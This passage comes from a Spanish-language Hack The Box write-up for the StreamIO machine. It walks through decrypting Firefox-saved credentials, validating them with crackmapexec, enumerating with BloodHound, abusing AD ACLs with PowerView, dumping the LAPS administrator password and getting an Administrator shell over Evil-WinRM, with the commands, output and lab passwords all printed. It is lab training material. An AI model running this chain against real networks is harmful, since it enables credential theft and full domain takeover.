Info: Downloading c:/users/nikk37/appdata/roaming/mozilla/firefox/profiles/br53rxeg.default-release/logins.json to /opt/StreamIO/logins.json

                                                             
Info: Download successful!

Y con la herramienta firepwd.py podemos decifrar el contenido almacenado

❯ git clone https://github.com/lclevy/firepwd
...[snip]...

❯ mv key4.db logins.json firepwd/

❯ python3 firapwd/firepwd.py

...[snip]...

https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

Comprobamos con crackmapexec si las credenciales son validas

❯ crackmapexec smb 10.10.11.158 -u user2 -p pass2
SMB         10.10.11.158    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
...[snip]...
SMB         10.10.11.158    445    DC               [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r 

.

El confiable BloodHound +

En este momento es buena idea usar BloodHound, para ver posibles metodos de escalar privilegios

❯ bloodhound-python -c All -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.10.11.158 -d streamio.htb
INFO: Found AD domain: streamio.htb
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 8 users
INFO: Connecting to GC LDAP server: dc.streamio.htb
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
INFO: Done in 01M 08S

Una vez en BloodHound cargamos los datos.json, y marcamos a NIKK37 y JDgodd como propios

.

Siguiendo como son aconseja BloodHound, con JDgodd podemos escribir sobre Core Staff

Como no podemos conectarnos por Evil-WinRM con JDgodd, lo haremos con el usuario NIKK37

Para ello tendremos que importar el modulo Powerview.ps1

*Evil-WinRM* PS C:\Users\nikk37\Documents>upload Powerview.ps1
nfo: Uploading /opt/PowerView.ps1 to C:\Users\nikk37\Documents\PowerView.ps1
                                                             
Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\nikk37\Documents> Import-Module "C:/Users/nikk37/Documents/Powermad.ps1"

*Evil-WinRM* PS C:\Users\nikk37\Documents> $Pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force

*Evil-WinRM* PS C:\Users\nikk37\Documents> $Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $Pass)

*Evil-WinRM* PS C:\Users\nikk37\Documents> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"

*Evil-WinRM* PS C:\Users\nikk37\Documents> Add-DomainGroupMember -Identity "Core Staff" -Members "StreamIO\JDgodd" -Credential $Cred

Con esto le asignamos al propio JDgodd el grupo Core Staff y en consecuencia estamos en el grupos LAPS(del ingles, Local Administrator Password Solution)

Ahora, estando en el grupo LAPS podemos con LAPSDumper cambiar de forma TEMPORAL la contraseña del administrador

❯ wget https://raw.githubusercontent.com/n00py/LAPSDumper/main/laps.py

...[snip]...

❯ python3 laps.py -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.htb
LAPS Dumper - Running at 09-17-2022 02:53:26
DC nUaf7Fz9,8ysY@

Y finalmente ahora con Evil-WinRM podemos conectarnos como Administrator con la contraseña TEMPORAL

❯ evil-winrm -i 10.10.11.158 -u 'administrator' -p 'nUaf7Fz9,8ysY@'

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
streamio\administrator